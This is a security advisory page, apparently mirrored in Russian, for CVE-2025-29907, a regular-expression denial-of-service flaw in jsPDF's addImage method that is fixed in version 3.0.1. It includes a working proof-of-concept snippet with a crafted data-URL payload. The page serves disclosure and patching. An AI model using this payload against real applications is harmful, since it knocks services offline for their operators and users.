GHSA-w532-jxjh-hjhj

Опубликовано: 18 мар. 2025

Источник: github

Github: Прошло ревью

CVSS4: 8.7

Описание

jsPDF Bypass Regular Expression Denial of Service (ReDoS)

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: html, addSvgAsImage.

Example payload:

import { jsPDF } from "jpsdf" const doc = new jsPDF(); const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined'; const startTime = performance.now() try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } catch (err) { const endTime = performance.now() console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`) } doc.save("a4.pdf");

Patches

The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

Workarounds

Sanitize image urls before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)

Ссылки

Пакеты

Наименование

jspdf

npm

Затронутые версииВерсия исправления

< 3.0.1

3.0.1

EPSS

Процентиль: 58%

0.00359

Низкий

8.7 High

CVSS4

CVE ID

CVE-2025-29907

Дефекты

CWE-400

CWE-770

Связанные уязвимости

CVE-2025-29907

CVSS3: 7.5

nvd

11 месяцев назад

jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, user control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitised image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are html and addSvgAsImage. The vulnerability was fixed in jsPDF 3.0.1.

CVE-2025-29907

CVSS3: 7.5

debian

11 месяцев назад

jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, use ...

BDU:2025-08460

CVSS3: 8.6

fstec

11 месяцев назад

Уязвимость метода addImage библиотеки для создания PDF-файлов jsPDF, позволяющая нарушителю вызвать отказ в обслуживании

EPSS

Процентиль: 58%

0.00359

Низкий

8.7 High

CVSS4

CVE ID

CVE-2025-29907

Дефекты

CWE-400

CWE-770